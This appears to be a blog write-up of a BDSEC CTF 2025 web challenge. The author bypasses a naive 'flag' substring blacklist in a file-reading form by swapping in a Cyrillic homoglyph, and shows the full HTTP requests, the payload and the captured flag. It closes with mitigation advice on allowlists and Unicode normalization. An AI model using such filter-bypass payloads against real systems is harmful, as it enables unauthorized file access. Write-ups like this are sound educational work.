Sitemap
Press enter or click to view image in full size
BDSecCTF

📂 Evil File Reader — BDSEC CTF 2025

2 min readJul 21, 2025

--

Category: Web | Author: BDSEC Team

Flag Format: BDSEC{something}

🧠 Challenge Description

You gained access to the server — nice work. A quick sweep shows nothing unusual, and flag.txt is nowhere to be found. But we know the flag is there.

Maybe you’re missing something… or maybe your tools are lying to you.

Some files hide in plain sight. Some characters look familiar but act very differently. Sometimes, a single byte can change everything.

🔍 Initial Recon

The web app presents a file-reading form:

POST / HTTP/1.1
Host: 45.79.9.104:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Origin: http://45.79.9.104:5000
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://45.79.9.104:5000/
Upgrade-Insecure-Requests: 1
Priority: u=0, i

filename=okay

In response:

⚠️ Error: [Errno 2] No such file or directory: 'okay'

Looks like it tries to read a file directly from disk. Obvious first thought? Try reading:

filename=flag.txt

But the result was:

❌ Nice try! Blocked.

So we hit a filter — not a file-not-found error. The server detected "flag.txt" and denied the request intentionally.

🧪 Hypothesis: Filtered Input

If the backend has a check like:

if "flag" in filename:
return "❌ Blocked"

…then our job is to bypass this naive filter.

The challenge description hinted at:

“Some characters look familiar but act very differently.”

This screams Unicode homoglyph attack.

🔀 Attack: Homoglyph Bypass

We can trick the filter by replacing the a in flag.txt with a Cyrillic 'а' (U+0430) instead of the normal Latin a.

So instead of:

flag.txt

We send:

flаg.txt

💡 It looks identical, but the backend sees it as a totally different string!

✅ Final Payload

POST / HTTP/1.1
Host: 45.79.9.104:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Origin: http://45.79.9.104:5000
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://45.79.9.104:5000/
Upgrade-Insecure-Requests: 1
Priority: u=0, i
filename=flаg.txt

🔥 And boom — it worked! The server returned the contents of the hidden flag file:

BDSEC{cd2342e6b6d40aa0b537e1e5e893b51c}

🏁 Flag

BDSEC{cd2342e6b6d40aa0b537e1e5e893b51c}

🧠 Takeaway

This was a Unicode filter bypass challenge. The server had a weak blacklist that could be tricked using homoglyphs — characters that look the same but are different bytes.

💡 Lesson:

Never use substring blacklists like "flag" in input. Always use strict allowlists, and normalize Unicode input with unicodedata.normalize() or similar.

📚 Tools / Tips

  • Use sites like Unicodeit.net or Python’s ord() to explore homoglyphs.

✍️ Author’s Note

Shoutout to the BDSEC team for the sneaky challenge.
Props to my terminal for not betraying my eyes 🕶️

--

--